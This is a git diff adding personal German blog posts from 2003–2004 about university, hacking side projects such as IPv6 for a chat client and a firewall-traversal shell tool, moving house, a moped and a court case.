gekauft. Das ist die Farbe, mit der die Leute, die der Meinung sind, man muesse vor Weihnachten unbedingt die Strassen mit epilleptikergefaehrdendem Blitzgewitter zu bestrahlen, Tannenzapfen, Ananaesse und Engel bespruehen, damit sie dem Schwippbogen mit der billigen weissen Lackierung noch den feierlichen Touch geben. Mit dem habe ich fuer die [kiffer.de Leute](http://www.kiffer.de) erst einmal eine in Drogenzigarettenform gebauten Papers-Konstruktion vergoldet. Mal sehen, ob sie es moegen. Spaeter will ich noch das alte Telefon von Oma, dass bis vor kurzen noch meinen Schreibtisch als Arbeitsplatzapparat zierte, vergolden und eventuell reparieren. Dass ich dann wirklich doch noch ein Geschenk gefunden habe, kann ich ja schon verraten, aber was und fuer wen, vielleicht besser erst nach Weihnachten. + +Beim Nachdenken ueber den Maulwurf habe ich mich mal endlich wieder bei meiner damaligen[1] Freundin gemeldet (der ich das [Plueschtier](pics/Maulhurpf.jpg) [1]damals geschenkt habe) und sie hat prompt die Digitalkamera rausgeholt, um zu beweisen, dass es ihm noch gut geht. Ich werde sie Dienstag mal besuchen gehen und ihre legendaeren Weihnachtsplaetzchen wegfuttern :) (Warum sie die immer nur zu Weihnachten macht, ist mir ein Raetsel) + +Um auf das Shopping zurueckzukommen: ich konnte zumindest stolz behaupten, den Weihnachtseinkaufsstress besser verkraftet zu haben, als Frollein Conz, die dann bettelte, sich endlich in ein Cafe zum Beine ausruhen setzen zu duerfen. Ach ja: sie hat kein einziges Geschenk gefunden. + +Heute morgen habe ich die besagte Chemieklausur wiederbekommen.. aber davon berichte ich gesondert. diff --git a/blog/2003/Spontanes_Gehacke.md b/blog/2003/Spontanes_Gehacke.md new file mode 100644 index 0000000..f235946 --- /dev/null +++ b/blog/2003/Spontanes_Gehacke.md @@ -0,0 +1,23 @@ + + +Nachdem sich Filib in seinem Blog mal wieder dezent ueber mangelnden ipv6 +support im vchat-client echauffiert hat, hat es mir endgueltig gereicht. + +So schwer kann das doch nicht sein, hab ich mir gedacht. Und richtig. Wer +sich die aktuelle Version auscheckt, und als make-Option +EXPERIMENTAL_IPV6=-DEXPERIMENTAL_IPV6 angibt, kann v6 alpha-testen. Und +wer noch einen Mac mit Developer Tools hat, kann mir gerne ein binary fuer +MacOSX schicken. *hint*hint* - Um an dieser Stelle ueber MacOSX +herzuziehen: da die readline und die ncurses Version (zumindest in der +10.2.x) furchtbar stanken, musste ich beim letzten Mal die libs von Hand +aus dem CVS compilen und statisch linken, um den armen Mac-Usern das +Schlimmste zu ersparen. Auch, wenn 10.3.x nettere Versionen von den Libs +bereithalten sollte, muss man fuer pre-Panther-Aepfler trotzdem den +statisch compileten +[ +Riesenbinaerbloebb](http://erdgeist.org/arts/software/Code/vchat-client-macosx.tgz) vorhalten (Zur Zeit noch ohne v6, da die +neueste Version noch nicht compiled ist.) Den neuesten Source-Tarball gibt +es, wie immer [hier](http://erdgeist.org/arts/software/Code/vchat-client.tgz). diff --git a/blog/2003/Spontanes_Gehacke_II.md b/blog/2003/Spontanes_Gehacke_II.md new file mode 100644 index 0000000..63e8429 --- /dev/null +++ b/blog/2003/Spontanes_Gehacke_II.md @@ -0,0 +1,51 @@ + + +Als am Sonntag Starbug sein neues Domizil in Wedding mit den Moebeln aus +seiner alten Wohnung bestueckt hat, gemeinhin auch als Umzug bekannt, +habe ich seinen Bruder, meinen alten Studienkollegen kstar, +wiedergetroffen. Ungewoehnlicher Mensch mit vielen Flausen und dutzenden +cooler Ideen im Kopf. Weil ich neulich ein kleines Problem mit shell +push hatte, habe ich ihm davon erzaehlt. Und keine 2 Tage spaeter faellt +mir ein tarball aus der mailbox, in dem mein kleines Problem fast fertig +implementiert daliegt. + +Es ging im Groben darum, dass ich auf einem unixoiden Host hinter einer +Firewall (ohne Zugriff auf diese) jemandem kurz einen login auf dem +Rechner geben wollte. Das funktioniert aber nach den althergebrachten +Mustern von telnet, rlogin, ssh etc. nicht, dort ist es ueblich, dass der +_Server_ das pty alloziert und dem Client, nachdem er sich authentifiziert +hat, das tty weitergibt. Was ich brauchte ist, dass ein Server auf +Connections von einem Client wartet, der ihm dann ein pty gibt. Zugegeben, +kein alltaegliches Problem, aber es begegnete mir schon ein paar Mal. +Nachteil ist natuerlich, dass jemand an dem Rechner sitzen muss (aber +eigentlich kamman das auch aus ner while true; ... sleep 10; end Schleife +machen und bei Bedarf den Server starten) andererseits will man so eine +Shell ohne wirklich Authentifizierung (siehe unten) nicht ohne sein +Beisein vergeben. Die Loesung von kstar lief leider nicht sofort auf +FreeBSD, dort gibt es statt getpt() nur posix_openpt(O_RDWR) und man muss +getaddrinfo() im hints noch den ai_socktype auf SOCK_STREAM setzen. Zudem +gibt es grantpt, unlockpt und ptsname erst seit FreeBSD 5.0, aber jetzt +laeuft es. Es gibt sogar eine rudimentaere "Verschluesselung", die darin +besteht, dass man Client und Server den selben Sessionkey geben muss, mit +der der Stream ge-xor-t wird. + +Nichts fuer Cryptoexperten, aber bis ich da ssl reingeschraubt habe, +reichts. Wer ein aehnliches Problem hat, kann ja mal selber [compilen](https://erdgeist.org/arts/software/Code/through-firewall.tgz). + +Hach, ich liebe nerdige Blogeintraege. Dass die sich jetzt haeufen, +hat einen Grund: Andrea ist in Skiurlaub gefahren. Bleibt massig Zeit zum +Rumnerden, ohne, dass man zu Sozialstress ermahnt wird. Eigentlich bin ich +ja ein wenig neidisch. Ich will auch Skifahrn, aber es liegt grad viel zu +viel Arbeit rum und dann ist da noch dieses Fundamentalistenfest und +danach der [Congress](https://www.ccc.de/congress/2003/) des [Chaos Computer Clubs](https://www.ccc.de/), den ich mir dieses +Jahr vielleicht mal anschauen werde. Bis dahin habe ich noch eine feiste +TODO-Liste abzuarbeiten: morgen hat Opi Geburtstag, am Samstag zieht Cryx +um (aus einer 5. Etage in eine 4. Etage, der Spinner :), ich will den SMB +noch fertig hacken, meinen Telefonbuchsubstringindizierer und den Treiber +fuer die PCMCIA-Firewire-Karte zurechthacken, die leider nicht out of the +box funktioniert. +Und noch ein wenig selbstinduzierter Sozialstress +(...). diff --git a/blog/2003/Unter_Schafen.md b/blog/2003/Unter_Schafen.md new file mode 100644 index 0000000..163292a --- /dev/null +++ b/blog/2003/Unter_Schafen.md @@ -0,0 +1,18 @@ + + +Eben habe ich mich unter die Erstis gemischt. Toll. Lauter kleine, frische Biologie-Studierer. Frisch vom Gymnasium. In ihrer ersten Chemievorlesung. +Nachdem ich das letzte Semester bei den Zweitis den Fehler gemacht habe, mir erst kurz vor dem Praktikum einen Uebungsgruppenpartner auszusuchen und +dann mit der jungen Dame furchtbar auf die Gusche gefallen bin (vielleicht schreib ich darueber noch nen Absatz, Gedicht oder Hass-und-Schreisong), +wollte ich diesmal schon waehrend des Semesters soziale Kontakte knuepfen, um die Leute besser einschaetzen zu koennen. Irgendwie ergibt sich das +aber leider nicht. Diese ganzen Hefterausholer-und-jedes-wort-mitschreiber verursachen mir immer so ein unangenehmes Jucken auf der Milz und die +beiden Frutten, die als einziges gelangweilt da sassen und wohl zum Ende des Semesters durch die Pruefung fallen werden, luden auch nicht besonders +dazu ein, sich _unbedingt_ mit ihnen unterhalten zu wollen. Wenn sich nicht bis zum Ende des Semesters noch irgendjemand von denen besonders hervortut, +werde ich wohl wieder nehmen muessen, was kommt. + +Das [ehemalige Chemieinstitut](http://www.hu-berlin.de/hu/lage/mitte/planf.html) (bzw. [hier Haus 3161](http://www.hu-berlin.de/hu/lage/mitte/hahes.html)) sieht aber mittlerweile abgefahren aus. Ausser dem +Vorlesungssaal und zwei oder drei kleineren Laboren ist alles leer. Tags ueber kommt man leicht rein und kann hier und da noch ein paar Schaetze +entdecken. Riesige Labore, die inzwischen zum Teil abgerissen sind, verwirrende, zu Paintball einladende, Labyrinthe und kleine verknoecherte +Dortgebliebene, die die restlichen Schaetze bewachen sollen. Ich werde da nochmal mit Kamera vorbei gehen. diff --git a/blog/2003/iPod_da.md b/blog/2003/iPod_da.md new file mode 100644 index 0000000..320bca9 --- /dev/null +++ b/blog/2003/iPod_da.md @@ -0,0 +1,16 @@ + + +Schnell noch eine Firewirekarte dazu erstanden und entgegen der +schlimmsten Befuerchtungen spielts einfach so unter FreeBSD. Als +SCSI Platte formatiert, gemountet und natuerlich die gesammelte +Nirvana-Kollektion (laut Spiegel Online - die verlinke ich jetzt +aber nicht, weil das eh Bezahlcontent wird - soll man mit Bindestrichen +nicht so um sich werfen. Regel ist: bei Wortzusammensetzungen, die +noch nicht in den allgemeinen Sprachgebrauch maeandert sind, soll man +zur leichteren Lesbarkeit welche einfuegen, sonst verkneifen) +draufkopiert. Die 40GB iPods haben keine echten beweglichen Teile mehr, +das Dreh"rad" besteht nur noch aus Induktionssensoren, die mitbekommen, +wohin man den Finger bewegt. Schoenes Device. diff --git a/blog/2004/Aufholjagd.md b/blog/2004/Aufholjagd.md new file mode 100644 index 0000000..460a151 --- /dev/null +++ b/blog/2004/Aufholjagd.md @@ -0,0 +1,22 @@ + + +Aus dem Kino heute abend wurde leider nix, weil besagter Film heute nicht in der Naehe laeuft. +Stattdessen gab es [Herr Lehmann](http://www.becks.de/) im [heimelichen +Heimkino](http://www.internetschriftsteller.de/autoren-forum-02/schriftsteller/edgar-allan-poe/dore/dore-praesentation/london-02.jpg). Davor gabs noch [diesen Film +hier](http://www.labutaca.net/films/24/yorobot.htm) (man achte auf die feine Ironie im [Filmcover](pics/yor.jpg)). Trotz einiger +[peinlich-beruehrt-weggucke-Szenen](http://www.thesunmachine.net/image_archive/archive/feb03/hasselhoff.jpg), +die sich wohl in Filmen mit Will nich vermeiden lassen ist der Film sehenswert. + +Aber zurueck zu "Herr Lehmann". (Ich oute mich hier mal als Fan von [Sven Regner](http://www.element-of-crime.de) und seiner Band.) Aber aus einem mir nicht +erfindlichen Grund kommt bei jedem, mit dem ich darueber spreche, Frank Lehmann viel zu gut +weg. + +Ich weiss nicht, ob es am [Ulmen](http://www.christian-ulmen.de/) liegt, der dieses +[dumpfe +Gefuehl](http://www.netdoktor.de/laborwerte/fakten/elektrolyte/elektrolyte.htm) nach einer [Nacht Kreuzberg](http://lyrics.net.ua/song/24024) grandios in +Bilder umsetzen konnte. Aber wenn Katrin ihn [in der Doeneria](http://www.herr-lehmann.de/film_zitate4.html) dumpt, dann haelt sich +mein Mitleid mit ihm in Grenzen, nachdem er Karl und [sie so ... hingenommen](http://www.herr-lehmann.de/film_zitate3.html) hat. So, das +musste mal raus. diff --git a/blog/2004/Babelfish.md b/blog/2004/Babelfish.md new file mode 100644 index 0000000..897deaf --- /dev/null +++ b/blog/2004/Babelfish.md @@ -0,0 +1,10 @@ + + +Fuer alle, die noch kein richtig gutes Online-Woerterbuch fuer die +aussergewoehnliche Sprache ihrer Wahl gefunden haben: ich habe gestern. +Man bemuehe einfach images.google.com mit dem zu uebersetzenden Wort und +bekommt _sehr_ assoziationsreiche bildliche Uebersetzungen. Auch und +gerade mit umgangssprachlichen Woertern. [Seht selbst](http://images.google.com/images?q=caluski) diff --git a/blog/2004/Begegnungen.md b/blog/2004/Begegnungen.md new file mode 100644 index 0000000..c8ad4df --- /dev/null +++ b/blog/2004/Begegnungen.md @@ -0,0 +1,40 @@ + + +Mein neues Moped hat mir in letzter Zeit viele tolle Begegnungen beschert: +1.) wollten natuerlich alle mal +(da)mit( )fahren. Der [Cryx](https://outpost.h3q.com/ind.ex?blog), reihenweise Maedchen ;) ehrm zumindest +ein paar und und und... +2.) mit dem Boden der Kreuzung Danziger/Prenzlauer. Ja, es hat geschneit, ja, es war unglaublich +glatt und ja, ich hab mir wehgetan. Und das alles auf dem Weg nach hause, um Fraeulein Tina ein wenig auf der +[Klampfe](http://www.helmutsworld.de/chiefgrd.jpg) beizubringen. Lieberweise hatte sie nich so ganz rechtzeitig +bescheid gesagt, dass sie sich fuer ein Theaterstueck praeventiv lieber ins Bettchen kuscheln und vor-kurieren will. +Aber eigentlich kannse ja nu auch nix dafuer. +3.) mit Wintersportklamotten, die ich fuer eine gar eine gute Idee hielt, +nachdem ich bei Schneetreiben beinahe Nase und Fingerchen abgefroren hab. +und 4.) .. und jetzt wird's abstrus: mit einem +Bediensteten der Staatsmacht und das kam so: Gestern abend war ich ein wenig mit Freunden trinken und fand mich gegen 3 Uhr +in der Firma wieder, in der ich eigentlich den Roller abstellen wollte. Dort erwartete mich in Form einer Nachricht im [ Messanger](http://www.chrisrueckert.de/Singendes_Telegramm.htm) mein Freund, der [ +Tom](http://www.tomster.org/), der grad alleine und verlassen zu hause am Layout fuer unser Zeitschriftenprojekt sass. Ich beschloss, ihn mit +einem Strauss [Trosthopfen](http://www.hopfenkaltschale.de/) zu besuchen. Fruehmorgens um halb sieben ratterte +ich dann doch noch nach hause, nur um gleich auf der Eberswalder von einem Auto ueberholt und mit einer Kelle zum Anhalten +ueberredet zu werden. Der Beamte war in Zivil und wies mich wirklich freundlich darauf hin, dass mein Ruecklicht nicht +funktioniere, das exterm gefaehrlich sei und frug, wohin ich denn fuehre. Nachdem er feststellte, dass er auch grob in meine +Richtung wolle, bot er an, hinter mir zu fahren und [den Rueckraum abzusichern](http://www.frauenbuch.de/htm/fb31040128.htm), +zudem sei "ja da hinten noch dreissig gewesen". Man stelle sich die Situation vor: ich, schwerst angetuetert, muehsam +geradeausfahrend, sollte jetzt vor dem Polizisten, der sich echt Sorgen machte, dass ich ruecklichtslos von ruecksichtslosen +Autofahrern ueberrollt werde, bis nach hause fahren. Aber das Schlimmste kommt noch: eine Kreuzung weiter ging mir der Motor +aus. Einfach so. Wohl zu hohe Luftfeuchtigkeit, zu kalt, wer weiss. Hinter mir wartete der Polizist geduldig und ich muehte +mich mit dem Elektrostarter. Nach 2 Minuten war es ihm wohl zu bloed. Ich erzaehlte ihm, dass da vielleicht was mit der Elektronik +nicht stimmen wuerde und ich das Moped jetzt stehen liesse. - Und was passiert? Ich werde eingeladen, mit seinem Auto nach +hause gefahren zu werden. Wer sich die Situation nicht vorstellen kann, moege sich erinnern, dass ich bis 15 Minuten zuvor noch +froehlich Bierchen mit Tom gebechert hab. Ich konnte den Lift unmoeglich ablehnen, stellte den Roller vorm Taxistand ab und +bemuehte mich dann im Auto, moeglichst nach rechts zu atmen. Nach 15 Minuten betont konzentriertem Palaver ueber +[Schwalben](http://www.schwalbennest.de/vogelkunde/schwalbe.htm) (ich fuhr frueher mal eine) und deren doch noch +"gute alte, robuste Bauart", den Friedrichshainer Sued-Kiez, Bekloppte, die auf fremden Motorhauben rumhopsen (ist mir mit +meinem guten alten 5er zwei- oder dreimal passiert) und Mopedhaendlern im Allgemeinen, hatte ich es geschafft und konnte nach +hause, ohne in ein Roehrchen pusten zu muessen. + +Nachdem sich das letzte in den Arterien rumgammelnde Adrenalin verpisst hatte, konnte ich auch ruhig einschlafen. diff --git a/blog/2004/Blip.md b/blog/2004/Blip.md new file mode 100644 index 0000000..993e28f --- /dev/null +++ b/blog/2004/Blip.md @@ -0,0 +1,10 @@ + + +Heute abend geht in [Berlin](http://www.berlin.de/), genauer gesagt: in der [C-Base](http://www.c-base.org/) die +alljaehrliche [phneutral](http://www.ph-neutral.org/) los. Und weil der [Bert](https://www.b3rt.de/) da seinen +Geburtstag zu feiern beginnt, guck ich da auch mal rein. + +Und vielleicht meld ich mich auch mal wieder oefter. diff --git a/blog/2004/Bondage_Art.md b/blog/2004/Bondage_Art.md new file mode 100644 index 0000000..100f21d --- /dev/null +++ b/blog/2004/Bondage_Art.md @@ -0,0 +1,10 @@ + + +Auf dem [21c3](http://www.ccc.de/congress/2004/) hab ich mit meinem Kumpel, dem [Frank](http://frank.geekheim.de) eine [kunstvolle](http://erdgeist.org/stats/blog/pics/ShirtCam1.jpg) [Installation](http://erdgeist.org/stats/blog/pics/ShirtCam2.jpg) +verzapft. Da jeder weiss, dass Nerds nicht an roten Buttons vorbeigehen koennen, ohne draufzubuzzen, haben wir einen mit einer Axis-Webcam verbunden und +die Bilder der in diesem Moment hoffentlich vor der Cam praesentierten TShirts kurzerhand auf einem [Webserver](http://erdgeist.org/arts/graphic/congress-shirts/) geparkt. Die Installation wird +uns auf der [korrespondierenden Sommerveranstaltung](http://whatthehack.org/) sicherlich noch viel Laune bringen. Auch, wenn es nicht so +aussieht, wurde fuer die Installation nicht mehr als eine Rolle Gaffa getoetet. diff --git a/blog/2004/Fahrradschuppen.md b/blog/2004/Fahrradschuppen.md new file mode 100644 index 0000000..22a7abf --- /dev/null +++ b/blog/2004/Fahrradschuppen.md @@ -0,0 +1,21 @@ + + +Am Sonntag abend haben [Tom](http://tomster.org/) und ich (der ich verschwitzt von der Probe und anschliessend +durchnaesst vom Regen, wegen viel zu wenig Klamotten frierend bei Ersterem aufschlug), die [84. +Ausgabe](http://ds.ccc.de/) der Datenschleuder finalisiert. Habe ich "angetrunken" erwaehnt? Nicht genug, dass [meine Kapelle](http://www.pumpanickle.de/) jetzt einen Namen und eventuell auch demnaechst einen Auftritt beim [Camp Tipsy](http://www.camp-tipsy.de/) hat, wegen dessen wir am Rotieren sind, ein Set zusammenzustellen, Lieder +spielen zu ueben und natuerlich auf der Buehne Bier trinken zu perfektionieren (gut, das mit dem [Singen](http://erdgeist.org/uploads/probenmitschnitte/040711_metoyou.mp3) sollte ich bis dahin auch noch besser +hinbekommen, aber wahrscheinlich gibt sich das Toenetreffen mit zunehmender Biertrinstandfestigkeit.) + +Nein, man stelle sich nun die Freude vor, zu erfahren, dass meine Pruefung zur Vorlesung [Computergestuetze Verifikation](http://www.informatik.hu-berlin.de/top/lehre/ss04/vl_cgv/index.html) an eben dem +zentralen Freitag des Camp Tipsy stattfindet. Ebenso habe ich meinem Opa versprochen, am darauffolgenden Samstag mit ihm zum +Graeberpflegen zu fahren. Die Vorbereitung des [21. Congress](http://www.ccc.de/congress/) des CCC fordert gerade +auch den ihm vesprochenen zeitlichen Tribut, die berufstaetige Arbeit rollt auf die naechste Deadline zu und ich komme nicht +einmal mehr zum Lieblingsblogs lesen. + +Trotzdem wollte ich an der Stelle einen mir nicht unwichtigen Kommentar referenzieren, der mir bei der Nachbereitung der just +fertig gestellten Zeitschrift wieder deutlichst in Erinnerung gerufen wurde. Poul-Henning Kamp zu +[Fahrradschuppen und +Atomkraftwerken](http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/misc.html#BIKESHED-PAINTING). diff --git a/blog/2004/Filmzitate.md b/blog/2004/Filmzitate.md new file mode 100644 index 0000000..b1e409b --- /dev/null +++ b/blog/2004/Filmzitate.md @@ -0,0 +1,8 @@ + + +Die [Aerzte](http://www.bademeister.com) haben auf vielen ihrer Alben Geschmack Filme betreffend bewiesen und praegnante Audioschnipsel aus Filmen in ihre Songs eingebaut. Waehrend "Also ich, ich habe drei Jungs da draussen, die sind drauf und dran, dich alle zu machen" und "Wer sind diese Kerle? Ist das nicht ne Punkband?" aus dem leider unterschaetzten ["Super Drei"](http://www.all-good-tabs.com/print-guitar-tabs-bands-aertze-super_drei-711.html) noch ziemlich leicht dem genialen und auch unterschaetzten [UHF](http://www.imdb.com/title/tt0098546/) (deutsch: "UHF- Sender mit beschraenkter Hoffnung") zuzuordnen sind und man als Ex-Fan weiss, dass die Kettensaegengeraeusche aus ["Zum letzten Mal"](http://www.antifas.de/daten/d/dieaerzte_zumletztenmal.htm) dem Film [The Texas Chain Saw Massacre"](http://imdb.com/title/tt0072271/) entliehen wurden, brauchte ich fuer "Ich moechte eine Welt, in der Wuermer und Insekten endlich wieder schmecken. Ich moechte eine Welt, in der ich aus einer Toilette trinken kann, ohne Ausschlag zu kriegen" eine Weile. Das Zitat wird gern benutzt und den Aerzten zugeschrieben ("Der Friedenspanzer"), ist aber natuerlich aus "Die nackte Kanone 2 1/2". Gewissen beruhigt. + +Im Original gibt es dieses Zitat ueberhaupt nicht, dort sagt Lt. Frank Drebin "I want a world where Frank junior and all the Frank juniors can sit under a shady tree, breathe the air, swim in the ocean, and go into a 7-11 without an interpreter." Dank also dem Synchronstudio. diff --git a/blog/2004/Gegammel.md b/blog/2004/Gegammel.md new file mode 100644 index 0000000..a3d76ce --- /dev/null +++ b/blog/2004/Gegammel.md @@ -0,0 +1,21 @@ + + +In einer beispiellosen "Mal einen ganzen Samstag rumgammeln"-Aktion bin ich meine Erkaeltung wohl endlich groesstenteils losgeworden. Ausser einem kurzen +Baumarktbesuch gab es nur lange Ausschlafen, Kassler, Rosenkohl und Stampfkartoffeln. Und dann heute morgen Schlendern ueber den Troedelmarkt an den Treptowers. +Und da faengt man sich hie und da schon an zu wundern, ob nicht Maedchen so generell so ein wenig anders sind. Also wenn es so um Vasen geht, oder Kerzenstaender, +die alle _furchtbar_ huebsch sind und in die man dann auch schonmal ein wenig Geld investieren kann. Gut. Wir haben den Balkon von Andreas neuen Wohnung mit so +Roehricht-Blickschutz ausgehangen (so richtig schoen, typisch deutsch), wobei dann 1,40m Hoehe doch ein wenig zu abweisen herueberkam. Der Baumarkt war dann kulant +und hat das gegen die 1,00m Variante getauscht. Leider reichte der Blickschutz nicht ganz herum, so dass fuer den Rest Blumenstauden hinmuessen. Die koennen dann +in grosse Toepfe. Soweit, so gut. Aber warum diese Toepfe jetzt besonders schick sein muessen und was schoene Toepfe ausmacht, will mir nicht in den Kopf. + +Ich hingegen habe mir mal so eine Kreissaege angeguckt. Der Typ wollte 50EUR haben, also waeren wir so bei 30EUR rausgekommen. Die muss nicht besonders schoen +sein, und da muss man auch nicht lange diskutieren, dass das ne tolle Anschaffung ist. Vor allem, wenn man eh ein Podest fuer so ein Bettchen bauen moechte. Oder +das tolle NVA-Feldtelefon. So noch mit Kurbel dranne und einem Hoerer. Also, weil ja nur ein Telefon allein nicht so der Bringer ist, habe ichs nicht mitgenommen. +Aber ansonsten kann man doch gegen die schnoerkellose Funktionalitaet wirklich nichts sagen. Aber gut. Wir sind dann mit einer "sehr schoenen" (Zitatende) +bauchigen Blumenvase nach hause getappelt. Und mein bloedes Moped, was gestern bei der Fahrt zum Baumarkt den Geist mal wieder aufgegeben hat, ist immer noch in +einem extrem fragilen Zustand. Morgen mal wieder die Werkstatt besuchen. + +Dem armen [Cryx](http://outpost.h3q.com/blog) gehts wohl grad nicht so besonders. Ich hab ihm mal "Schlechte Laune" von [Wizo](http://www.wizo.de) rueberwandern lassen. Mal sehen obs hilft. diff --git a/blog/2004/Gerechte_Leiden.md b/blog/2004/Gerechte_Leiden.md new file mode 100644 index 0000000..ed934a7 --- /dev/null +++ b/blog/2004/Gerechte_Leiden.md @@ -0,0 +1,13 @@ + + +Gestern abend war ich nach einer 2-Mann Probe noch laenger mit Marion "the wall" R. [kickern](http://www.tischfussball.de/) im [Paule](http://www.paules-metal-eck.de/), schon angeheitert vom [Hinternwackeln](http://de.wikipedia.org/wiki/Schinken) im [ Kaffee Burger](http://www.kaffeeburger.de/programm.html). Ein paar [Jungs aus Hamburg](http://www.photogg.de/skan03/9-8-fischkopf.jpg) wollten uns Amateuren nun zeigen, wie man denn eigentlich +richtig kickert. + +Beim Kickern gibt es den netten Brauch, ein Spiel, das man zu null verliert, mit einem demuetigen Drink fuer die Sieger zu quittieren. Das hilft ein wenig der Niveauangleichung. Und richtig: das 6. Spiel gewannen wir nicht mehr zu null. + +Was nun zum Problem des heutigen Nachmittags fuehrte: Bier zur Probe, Bier zur Disko, Bier im Paule und Vodka zum Kickern machen dann bei der Grillparty von Julia [sowas hier](pics/IMG_3571_k.jpg). + +Ich werd zu alt fuer solche Spaesse. diff --git a/blog/2004/Geschafft.md b/blog/2004/Geschafft.md new file mode 100644 index 0000000..d48ec9d --- /dev/null +++ b/blog/2004/Geschafft.md @@ -0,0 +1,50 @@ + + +Krank-, faul-, verpeiltheits- und auslastungsbedingt erst jetzt wieder ein Eintrag. Meine Firma hat sich leider Gottes wieder daran erinnert, dass ich da +noch arbeite und doch da mal was tun koennte, mein [Gute-Freunde-Shellserverprojekt](http://www.datenfreihafen.de) musste dringend angefasst werden, +weil die ersten Mitstreiter sich (zu recht, wie ich fuerchte) vernachlaessigt fuehlten. Andrea ist umgezogen, ich habe mich schlimm erkaeltet, mein Projekt [eigene Firma](http://www.7aes.com) erfordert viel Buerokratie, Rennereien zu Aemtern, etc..., [das Magazin[tm]](https://ds.ccc.de/) ist +schon seit einem Jahr nicht mehr erschienen und muss jetzt gehoerig unter Feuer. Zudem hab ich noch ein Verfahren hinter mich gebracht, welches haette +unangenehm teuer werden koennen. Von dem Geld hab ich mich gleich motorisiert. Aber der Reihe nach. + +Zur Arbeit muss/will ich nicht viel sagen. Meinen Gute-Freunde-Server habe ich mit einem automatisierten Jail-Verwaltungsverfahren augestattet, welches ich ab +demnaechst beim [Tom](http://tomster.org/) in seinem [FreeBSD Cookbook](http://tomster.org/geek/freebsdcookbook/) dokumentieren werde. +Unklar, warum [FreeBSD](https://www.freebsd.org/) so ein scriptset nicht von Hause aus mitbringt. Apache VHosts und WebDAV lassen sich auch +erstaunlich leicht automatisiert konfigurieren. + +Andrea hat nach einer riskanten "ich kuendige erstmal die Wohnung und werde dann schon noch was finden"-Aktion doch noch eine wirklich coole Huette im +Dreilaendereck Treptow/Kreuzberg/Neukoelln, direkt am Kanal und Goerli gefunden. Einzige Probleme sind die .. mittelmaessige OePNV- und die hundsmiserable +GSM-Anbindung. Jedenfalls hat das 3-malige Weissen eines Zimmers und der Kueche (ja, die Farbe _war_ billig :) mich und meinen Ruecken massiv zerruettet. Von +da ab war ich ernsthaft krank (was natuerlich auch an dem eiseskalten Wetter an diesem Tag gepaart mit meiner unpassenden Bekleidung liegen koennte). Um den +zwei Tage spaeter stattfindenden Umzug konnte und wollte ich mich aber trotzdem nicht druecken. Zwei Leute aus der dritten in eine zweite und eine dritte +Etage. Tags zuvor noch mit dem [Tom Bierchen und Kickern](http://tomster.org/blog/74), macht morgens doppelt so viel Spass. + +Ein Kuehlschrank, zwei Waschmaschinen, zwei Sofas, einen grossen Schrank, viele kleine Schraenke und _viel_ zu wenig Leute. Dank dem Philipp und der Tina, +ohne deren selbstlose Hilfe die Aktion wohl mal ernsthaft daneben gegangen waere. (Dank natuerlich auch allen anderen Helfern, auch Ehler und so, aber die lesen +hier eher nicht mit). Da ich der Robbefahrer war, fand ich mich dann (nach mehreren ernsthaften Ueberlegungen, dem Umzug an der Stelle einfach mal +abzubrechen) nachts mit nur nem Pulli bei Robben&Wienjtes an der Bornholmer wieder. Ohne Kfz, frierend und schon mit dem heissen Bad im Hinterkopf, dass +ich mir dank des von Philipp gezockten Erkaeltungsbads goennen wollte. More Viruses. Alles in allem hat sichs aber trotzdem gelohnt. + +Zum Projekt eigene Firma gabs eigentlich frueher schon viel zu berichten. Der Gewerbeamtsbesuch vor 3 Wochen hatte nur 2 Stunden (mit einmal durch den halben +Bezirk zur Amtskasse geschickt zu werden) gedauert, das mit dem Finanzamt wegen zu wenig Firmenkonten (noch 0) hatte nicht geklappt. Aber inzwischen habe ich +eins bei meiner Onlinebank [1822](http://www.1822direkt.de) ein neues Konto eroeffnet. Diese Bank ist cool. Die benutzen FreeBSD-Server, PGP-Mails, +schicken regelmaessig Warnungen raus, was dem Durchschnitts-Windows-User grad so alles blueht und sein banking unsicher machen koennte. Und seit sie auch HTML- +Onlinebanking machen, sind sie meine Voll-Helden. Mehr zur Firma vielleicht spaeter. + +Da das Chaos-Zeitungsprojekt inzwischen in einen Jahresturnus abgesackt ist, den die [Post](http://www.dpag.de) so nicht mehr hinnehmen wollten, +mussten wir jetzt die Fuesse in die Hand nehmen. Kostet aber auch Zeit. Wo ich die bloss immer hernehm? + +Das Gerichtsverfahren, welches ich jetzt am Montag hinter mich gebracht hatte, drehte sich um ein angeblich unerlaubtes Entfernen vom Unfallort. Im Dezember +2001. Waehrend der erstinstanzliche Richter mich und meinen netten Anwalt, den York, wohl nicht leiden konnte, und mir fiese Sachen ins Urteil schrieb (die auch +_echt_ teuer gekommen waeren, alles in allem wohl 3000EUR), hat die zweitinstanzliche Richterin, die auch deutlich entspannter aussah, nicht in dem haesslichen +Neubau in Moabit, sondern im imposanten Altbau in Moabit arbeitet, nach einem Freispruch-Pladoyer... der _Staatsanwaeltin_! mir dann doch Recht gegeben. + +*phew* Somit komme ich nicht nur um die 3000EUR herum, die mir das erste Urteil beschert haette, neee, meine Kfz-Versicherung muss mich rueckwirkend wieder +herunterstufen und somit >1500EUR zurueckzahlen. _DAS_ sind good news. + +Vor lauter Freude hab ich mir dann in der [Scooter-Box](http://www.scooterbox.de/) ein Moped gekauft. Einfach so. Nachdem mir mein erstes Kfz, eine +Schwalbe, kaputtgefahren wurde, hab ich mir heimlich schon immer wieder einen Roller gewuenscht. Und nun hab ich einfach zugeschlagen. Fakten schaffen, nicht +noch weiter herauszoegern. Ist eine Katana von Suzuki. Gibts keine schoenen links zu. Oder vielleicht reich ich noch welche nach. Jetzt gehe ich erstmal den +Tag bei einem kuehlen Hopfenbraeuschen beschliessen. diff --git a/blog/2004/Herrlicher_Laerm.md b/blog/2004/Herrlicher_Laerm.md new file mode 100644 index 0000000..678e548 --- /dev/null +++ b/blog/2004/Herrlicher_Laerm.md @@ -0,0 +1,20 @@ + + +Ich bin heute morgen von _wirklich echt_ lauten Bauarbeiten direkt vor meinem Fenster geweckt worden. Ja, gut. ["Morgen"](https://erdgeist.org/arts/poetry/index-madkarin.html) ist vielleicht fuer 13 Uhr eine unangebrachte Bezeichnung. Aber dieser Laerm war einfach +nur herrlich. Die zum Krach gehoerenden Typen haben naemlich [Kupferkabel verbuddelt.](http://rosengart.de/archives/000015.html) Welch Freude. Dann +gibts wohl bald DSL. + +Weniger Freude hatte der [Tom mit seinem Aeltesten.](http://tomster.org/blog/95) Ich hoffe mal das Beste fuer den Kleinen. Ich war ja als Kind auch +nicht ohne aber SOO einen Bloedsinn hab ich nicht gemacht. + +Die 